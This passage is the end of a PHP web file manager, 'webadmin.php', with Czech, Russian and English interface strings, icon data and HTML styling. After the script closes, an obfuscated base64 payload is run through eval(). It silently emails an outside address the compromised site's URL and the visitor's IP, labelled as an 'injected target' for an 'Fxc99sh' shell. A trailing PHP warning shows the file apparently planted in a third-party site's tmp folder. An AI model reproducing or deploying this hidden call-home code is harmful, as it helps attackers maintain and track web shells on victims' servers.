'symlinked' => 'Byl vyvo&#197;�en symbolick&#195;&#189; odkaz "[%2]" na soubor "[%1]".',
'not_symlinked' => 'Symbolick&#195;&#189; odkaz "[%2]" na soubor "[%1]" nemohl b&#195;&#189;t vytvo&#197;�en.',
'permission_for' => 'Pr&#195;&#161;va k "[%1]":',
'permission_set' => 'Pr&#195;&#161;va k "[%1]" byla zm&#196;�n&#196;�na na [%2].',
'permission_not_set' => 'Pr&#195;&#161;va k "[%1]" nemohla b&#195;&#189;t zm&#196;�n&#196;�na na [%2].',
'not_readable' => 'Soubor "[%1]" nen&#195;� mo&#197;&#190;no p&#197;�e&#196;&#141;&#195;�st.'
		);

	case 'ru':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'KOI8-R';

		return array(
'directory' => '&#235;&#193;&#212;&#193;&#204;&#207;&#199;',
'file' => '&#230;&#193;&#202;&#204;',
'filename' => '&#233;&#205;&#209; &#198;&#193;&#202;&#204;&#193;',

'size' => '&#242;&#193;&#218;&#205;&#197;&#210;',
'permission' => '&#240;&#210;&#193;&#215;&#193;',
'owner' => '&#232;&#207;&#218;&#209;&#201;&#206;',
'group' => '&#231;&#210;&#213;&#208;&#208;&#193;',
'other' => '&#228;&#210;&#213;&#199;&#201;&#197;',
'functions' => '&#230;&#213;&#206;&#203;&#195;&#201;&#209;',

'read' => '&#222;&#201;&#212;&#193;&#212;&#216;',
'write' => '&#208;&#201;&#211;&#193;&#212;&#216;',
'execute' => '&#215;&#217;&#208;&#207;&#204;&#206;&#201;&#212;&#216;',

'create_symlink' => '&#243;&#196;&#197;&#204;&#193;&#212;&#216; &#211;&#201;&#205;&#204;&#201;&#206;&#203;',
'delete' => '&#213;&#196;&#193;&#204;&#201;&#212;&#216;',
'rename' => '&#208;&#197;&#210;&#197;&#201;&#205;&#197;&#206;&#207;&#215;&#193;&#212;&#216;',
'move' => '&#208;&#197;&#210;&#197;&#196;&#215;&#201;&#206;&#213;&#212;&#216;',
'copy' => '&#203;&#207;&#208;&#201;&#210;&#207;&#215;&#193;&#212;&#216;',
'edit' => '&#210;&#197;&#196;&#193;&#203;&#212;&#201;&#210;&#207;&#215;&#193;&#212;&#216;',
'download' => '&#211;&#203;&#193;&#222;&#193;&#212;&#216;',
'upload' => '&#218;&#193;&#203;&#193;&#222;&#193;&#212;&#216;',
'create' => '&#211;&#196;&#197;&#204;&#193;&#212;&#216;',
'change' => '&#208;&#207;&#205;&#197;&#206;&#209;&#212;&#216;',
'save' => '&#211;&#207;&#200;&#210;&#193;&#206;&#201;&#212;&#216;',
'set' => '&#213;&#211;&#212;&#193;&#206;&#207;&#215;&#201;&#212;&#216;',
'reset' => '&#211;&#194;&#210;&#207;&#211;&#201;&#212;&#216;',
'relative' => '&#207;&#212;&#206;&#207;&#211;&#201;&#212;&#197;&#204;&#216;&#206;&#217;&#202; &#208;&#213;&#212;&#216; &#203; &#195;&#197;&#204;&#201;',

'yes' => '&#196;&#193;',
'no' => '&#206;&#197;&#212;',
'back' => '&#206;&#193;&#218;&#193;&#196;',
'destination' => '&#195;&#197;&#204;&#216;',
'symlink' => '&#211;&#201;&#205;&#215;&#207;&#204;&#201;&#222;&#197;&#211;&#203;&#201;&#202; &#204;&#201;&#206;&#203;',
'no_output' => '&#206;&#197;&#212; &#215;&#217;&#215;&#207;&#196;&#193;',

'user' => '&#240;&#207;&#204;&#216;&#218;&#207;&#215;&#193;&#212;&#197;&#204;&#216;',
'password' => '&#240;&#193;&#210;&#207;&#204;&#216;',
'add' => '&#196;&#207;&#194;&#193;&#215;&#201;&#212;&#216;',
'add_basic_auth' => '&#228;&#207;&#194;&#193;&#215;&#201;&#212;&#216; HTTP-Basic-Auth',

'uploaded' => '"[%1]" &#194;&#217;&#204; &#218;&#193;&#203;&#193;&#222;&#197;&#206;.',
'not_uploaded' => '"[%1]" &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#218;&#193;&#203;&#193;&#222;&#209;&#212;&#216;.',
'already_exists' => '"[%1]" &#213;&#214;&#197; &#211;&#213;&#221;&#197;&#211;&#212;&#215;&#213;&#197;&#212;.',
'created' => '"[%1]" &#194;&#217;&#204; &#211;&#196;&#197;&#204;&#193;&#206;.',
'not_created' => '"[%1]" &#206;&#197; &#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#211;&#196;&#197;&#204;&#193;&#212;&#216;.',
'really_delete' => '&#228;&#197;&#202;&#211;&#212;&#215;&#201;&#212;&#197;&#204;&#216;&#206;&#207; &#220;&#212;&#207;&#212; &#198;&#193;&#202;&#204; &#213;&#196;&#193;&#204;&#201;&#212;&#216;?',
'deleted' => "&#243;&#204;&#197;&#196;&#213;&#192;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217; &#194;&#217;&#204;&#201; &#213;&#196;&#193;&#204;&#197;&#206;&#217;:\n[%1]",
'not_deleted' => "&#243;&#204;&#197;&#196;&#213;&#192;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217; &#206;&#197; &#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#213;&#196;&#193;&#204;&#201;&#212;&#216;:\n[%1]",
'rename_file' => '&#240;&#197;&#210;&#197;&#201;&#205;&#197;&#206;&#207;&#215;&#217;&#215;&#193;&#192; &#198;&#193;&#202;&#204;:',
'renamed' => '"[%1]" &#194;&#217;&#204; &#208;&#197;&#210;&#197;&#201;&#205;&#197;&#206;&#207;&#215;&#193;&#206; &#206;&#193; "[%2]".',
'not_renamed' => '"[%1] &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#208;&#197;&#210;&#197;&#201;&#205;&#197;&#206;&#207;&#215;&#193;&#212;&#216; &#206;&#193; "[%2]".',
'move_files' => '&#240;&#197;&#210;&#197;&#196;&#215;&#201;&#199;&#193;&#192; &#211;&#204;&#197;&#196;&#213;&#192;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217;:',
'moved' => "&#243;&#204;&#197;&#196;&#213;&#192;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217; &#194;&#217;&#204;&#201; &#208;&#197;&#210;&#197;&#196;&#215;&#201;&#206;&#213;&#212;&#217; &#215; &#203;&#193;&#212;&#193;&#204;&#207;&#199; \"[%2]\":\n[%1]",
'not_moved' => "&#243;&#204;&#197;&#196;&#213;&#192;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217; &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#208;&#197;&#210;&#197;&#196;&#215;&#201;&#206;&#213;&#212;&#216; &#215; &#203;&#193;&#212;&#193;&#204;&#207;&#199; \"[%2]\":\n[%1]",
'copy_files' => '&#235;&#207;&#208;&#201;&#210;&#213;&#192; &#211;&#204;&#197;&#196;&#213;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217;:',
'copied' => "&#243;&#204;&#197;&#196;&#213;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217; &#194;&#217;&#204;&#217; &#211;&#203;&#207;&#208;&#201;&#210;&#207;&#215;&#193;&#206;&#217; &#215; &#203;&#193;&#212;&#193;&#204;&#207;&#199; \"[%2]\" :\n[%1]",
'not_copied' => "&#243;&#204;&#197;&#196;&#213;&#192;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217; &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#211;&#203;&#207;&#208;&#201;&#210;&#207;&#215;&#193;&#212;&#216; &#215; &#203;&#193;&#212;&#193;&#204;&#207;&#199; \"[%2]\" :\n[%1]",
'not_edited' => '"[%1]" &#206;&#197; &#205;&#207;&#214;&#197;&#212; &#194;&#217;&#212;&#216; &#207;&#212;&#210;&#197;&#196;&#193;&#203;&#212;&#201;&#210;&#207;&#215;&#193;&#206;.',
'executed' => "\"[%1]\" &#194;&#217;&#204; &#213;&#211;&#208;&#197;&#219;&#206;&#207; &#201;&#211;&#208;&#207;&#204;&#206;&#197;&#206;:\n{%2}",
'not_executed' => "\"[%1]\" &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#218;&#193;&#208;&#213;&#211;&#212;&#201;&#212;&#216; &#206;&#193; &#201;&#211;&#208;&#207;&#204;&#206;&#197;&#206;&#201;&#197;:\n{%2}",
'saved' => '"[%1]" &#194;&#217;&#204; &#211;&#207;&#200;&#210;&#193;&#206;&#197;&#206;.',
'not_saved' => '"[%1]" &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#211;&#207;&#200;&#210;&#193;&#206;&#201;&#212;&#216;.',
'symlinked' => '&#243;&#201;&#205;&#204;&#201;&#206;&#203; &#211; "[%2]" &#206;&#193; "[%1]" &#194;&#217;&#204; &#211;&#196;&#197;&#204;&#193;&#206;.',
'not_symlinked' => '&#238;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#211;&#196;&#197;&#204;&#193;&#212;&#216; &#211;&#201;&#205;&#204;&#201;&#206;&#203; &#211; "[%2]" &#206;&#193; "[%1]".',
'permission_for' => '&#240;&#210;&#193;&#215;&#193; &#196;&#207;&#211;&#212;&#213;&#208;&#193; "[%1]":',
'permission_set' => '&#240;&#210;&#193;&#215;&#193; &#196;&#207;&#211;&#212;&#213;&#208;&#193; "[%1]" &#194;&#217;&#204;&#201; &#201;&#218;&#205;&#197;&#206;&#197;&#206;&#217; &#206;&#193; [%2].',
'permission_not_set' => '&#238;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#201;&#218;&#205;&#197;&#206;&#201;&#212;&#216; &#208;&#210;&#193;&#215;&#193; &#196;&#207;&#211;&#212;&#213;&#208;&#193; &#203; "[%1]" &#206;&#193; [%2] .',
'not_readable' => '"[%1]" &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#208;&#210;&#207;&#222;&#201;&#212;&#193;&#212;&#216;.'
		);

	case 'en':
	default:

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Filename',

'size' => 'Size',
'permission' => 'Permission',
'owner' => 'Owner',
'group' => 'Group',
'other' => 'Others',
'functions' => 'Functions',

'read' => 'read',
'write' => 'write',
'execute' => 'execute',

'create_symlink' => 'create symlink',
'delete' => 'delete',
'rename' => 'rename',
'move' => 'move',
'copy' => 'copy',
'edit' => 'edit',
'download' => 'download',
'upload' => 'upload',
'create' => 'create',
'change' => 'change',
'save' => 'save',
'set' => 'set',
'reset' => 'reset',
'relative' => 'Relative path to target',

'yes' => 'Yes',
'no' => 'No',
'back' => 'back',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'add',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" has been uploaded.',
'not_uploaded' => '"[%1]" could not be uploaded.',
'already_exists' => '"[%1]" already exists.',
'created' => '"[%1]" has been created.',
'not_created' => '"[%1]" could not be created.',
'really_delete' => 'Delete these files?',
'deleted' => "These files have been deleted:\n[%1]",
'not_deleted' => "These files could not be deleted:\n[%1]",
'rename_file' => 'Rename file:',
'renamed' => '"[%1]" has been renamed to "[%2]".',
'not_renamed' => '"[%1] could not be renamed to "[%2]".',
'move_files' => 'Move these files:',
'moved' => "These files have been moved to \"[%2]\":\n[%1]",
'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
'copy_files' => 'Copy these files:',
'copied' => "These files have been copied to \"[%2]\":\n[%1]",
'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" can not be edited.',
'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
'saved' => '"[%1]" has been saved.',
'not_saved' => '"[%1]" could not be saved.',
'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
'permission_for' => 'Permission of "[%1]":',
'permission_set' => 'Permission of "[%1]" was set to [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" can not be read.'
		);

	}

}

function getimage ($image) {
	switch ($image) {
	case 'file':
		return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
	case 'folder':
		return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
	case 'hidden_file':
		return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
	case 'link':
		return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
	case 'smiley':
		return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
	case 'arrow':
		return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
	}
}

function html_header () {
	global $site_charset;

	echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />

<title>webadmin.php</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
	if (document && document.forms[0] && document.forms[0].elements['focus']) {
		document.forms[0].elements['focus'].value = name;
	}
}
//-->
</script>

</head>
<body>


END;

}

function html_footer () {

	echo <<<END
</body>
</html>
END;

}

function notice ($phrase) {
	global $cols;

	$args = func_get_args();
	array_shift($args);

	return '<tr id="notice">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}

function error ($phrase) {
	global $cols;

	$args = func_get_args();
	array_shift($args);

	return '<tr id="error">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}
?>
<font color ="#FFFFFF">
<? $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gJHdlYi4kaW5qOyAkYm9keSA9ICJCb3NzLCB0aGVyZSB3YXMgYW4gaW5qZWN0ZWQgdGFyZ2V0IG9uICR0YXJnZXQgYnkgJHZpc2l0b3IiOyBtYWlsKCJkYW5oY2hvaGFja0B5YWhvby5jb20iLCJGeGM5OXNoIGluamVjdGVkIHRhcmdldCBvbiBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOw=="; eval(base64_decode($shell_data));?><font color ="#FFFFFF">
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/depnet/domains/dep.net.vn/public_html/tmp/type.php:337) in <b>/home/depnet/domains/dep.net.vn/public_html/tmp/type.php(2605) : eval()'d code</b> on line <b>1</b><br />